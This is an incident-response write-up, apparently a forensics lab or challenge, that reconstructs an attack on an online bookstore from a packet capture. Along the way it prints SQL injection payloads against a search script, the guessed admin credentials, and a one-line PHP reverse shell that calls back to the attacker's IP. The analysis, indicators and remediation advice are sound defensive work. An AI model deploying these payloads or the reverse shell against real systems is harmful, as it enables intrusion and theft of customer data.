00 / Scenario
An online bookstore, bookworldstore.com, got hit. We're handed a packet capture of the incident and asked to reconstruct it end to end: identify the attacker, trace the SQL injection used to breach the database, recover whatever credentials got the attacker into the admin panel, and confirm whether they planted persistent access afterward.
Recon → SQL Injection → DB Enumeration → Data Exfiltration → Hidden Admin Panel
→ Credential Guessing → Authenticated Access → Web Shell Upload → C2
01 / Q1 — Attacker's IP Address
Statistics → Conversations shows every host that talked to the victim web server (73.124.22.98). Two external IPs jump out immediately by volume: 111.224.250.131 (88,484 packets / 29 MB) and 170.40.150.126 (256 packets).
Every SQLi and exploitation packet in this investigation traces back to this one address.
111.224.250.13102 / Q2 — Attacker's Origin City
Running the IP through an IP2Location lookup resolves it to ASN 4134 (ChinaNet Hebei Province), geolocated to Shijiazhuang, Hebei, China — a location with no legitimate business relationship to this bookstore. That's a solid indicator this is a targeted attack, not organic traffic.
Shijiazhuang03 / Q3 — Vulnerable PHP Script
Statistics → HTTP → Requests lists every HTTP request made to bookworldstore.com. Sorted by host, the pattern is obvious: a long run of requests to /search.php, starting as normal book title searches (harry potter, Dracula, lord of the rings) and mutating into SQL syntax probes and full UNION-based injection payloads.
search.php04 / Q4 — First SQL Injection Attempt
To pin down the timeline, I isolated the attacker↔victim conversation and then searched packet strings for the earliest boolean-based SQLi probe.
ip.addr==111.224.250.131 && ip.addr==73.124.22.98
Classic boolean-based confirmation: and 1=1 (always true) with a trailing comment to swallow the rest of the original query — checking the parameter is injectable before escalating.
/search.php?search=book and 1=1; -- -05 / Q5 — Reading the Available Databases
Following the HTTP stream for the request using a UNION SELECT against INFORMATION_SCHEMA.SCHEMATA reveals the full request/response — including a User-Agent: sqlmap/1.8.3#stable header, confirming this stage was automated.
The response discloses every database on the server. The payload leans on CONCAT + JSON_ARRAYAGG with hex-encoded delimiters — sqlmap's way of packing multi-row results through a single injectable column while dodging naive keyword filters.
/search.php?search=book' UNION ALL SELECT NULL,CONCAT(0x7178766271,JSON_ARRAYAGG(CONCAT_WS(0x7a76676a636b,schema_name)),0x7176706a71) FROM INFORMATION_SCHEMA.SCHEMATA-- -06 / Q6 — Table Containing User Data
In NetworkMiner's Files tab, filtering on search.php and scanning response sizes, one response stands out: 1,125 bytes, well above the typical ~150–300 byte error/probe response.
Following that stream shows a UNION-based query pulling first_name, last_name, email, phone from bookworld_db.customers — the response body contains real customer records in JSON form.
customers (bookworld_db.customers)07 / Q7 — Hidden Directory Discovered
A separate stream filtered on the string admin shows the attacker pivoting away from SQLi toward directory discovery.
Following the full stream: GET /admin → 301 Moved Permanently → Location: /admin/ → GET /admin/ → 302 Found with a fresh PHPSESSID cookie. A non-public /admin/ directory, unlinked anywhere on the public site.
/admin/08 / Q8 — Compromised Credentials
Filtering on http.request.method==POST narrowed to admin surfaces every login attempt against /admin/login.php.
Attempt 1 (failed): username=admin&password=admin → "Invalid username or password."
Attempt 2 (success): the POST body uses the URL-encoded password admin123%21. Since %21 is a percent-encoded !, the raw payload has to be decoded to read the actual credential used.
The 302 is immediately followed by GET /admin/index.php returning 200 OK — the attacker is now authenticated as admin.
admin:admin123!09 / Q9 — Malicious Uploaded Script
With an authenticated session in hand, the attacker abused a file upload field on /admin/index.php. Following that TCP stream shows a multipart/form-data POST with a fileToUpload field named NVri2vhp.php.
The file's contents are a one-line PHP reverse shell:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/111.224.250.131/443 0>&1'");?>
It shells out to Bash and pipes stdin/stdout/stderr over a raw TCP socket back to the attacker's own IP on port 443 — riding on the standard HTTPS port to blend the outbound C2 callback in with normal encrypted traffic on firewalls that allow outbound 443 by default. Server response: "The file NVri2vhp.php has been uploaded."
NVri2vhp.phpThis web shell hands the attacker persistent, interactive remote code execution independent of the admin session — so even after the compromised credentials are rotated, the attacker keeps a foothold until the file is located and removed and the underlying upload vulnerability is fixed.
10 / Attack Timeline
11 / Indicators of Compromise
| Type | Indicator |
|---|---|
| Attacker IP | 111.224.250.131 |
| C2 destination | 111.224.250.131:443 |
| Vulnerable endpoint | /search.php (search parameter) |
| Hidden admin panel | /admin/, /admin/login.php |
| Upload endpoint | /admin/index.php |
| Malicious file | NVri2vhp.php |
| Compromised creds | admin:admin123! |
| Tool signature | sqlmap/1.8.3#stable |
| Exfiltrated table | bookworld_db.customers |
12 / MITRE ATT&CK Mapping
| Tactic | Technique | Observed Behavior |
|---|---|---|
| Reconnaissance | T1595.002 | Probing for backup files / injectable parameters |
| Initial Access | T1190 | SQL injection in search.php |
| Collection | T1213 | UNION-based SQLi enumerating schema + dumping customers |
| Exfiltration | T1041 | PII returned directly in the HTTP response |
| Discovery | T1083 | /admin/ directory found |
| Credential Access | T1110 | Sequential login guesses |
| Initial Access | T1078 | Successful login with guessed creds |
| Persistence | T1505.003 | NVri2vhp.php web shell uploaded |
| Execution | T1059.004 | /bin/bash invoked by the web shell |
| Command and Control | T1071.001 | Reverse shell over TCP/443 |
13 / Takeaways
- Parameterize everything. The entire chain starts from one unsanitized search parameter — prepared statements alone would have stopped this at the door.
- Obscurity isn't access control. /admin/ being unlinked didn't stop discovery; it needs real authentication + IP allow-listing.
- Default/weak creds are still the #2 door. admin:admin123! shouldn't pass any modern password policy.
- Upload handlers are code execution waiting to happen. File type allow-lists, execution-disabled upload directories, and storing uploads outside the web root would have stopped the web shell entirely.
- Egress matters as much as ingress. The reverse shell rode out on port 443 because outbound HTTPS is rarely restricted — egress filtering on outbound C2-shaped traffic is the real gap here.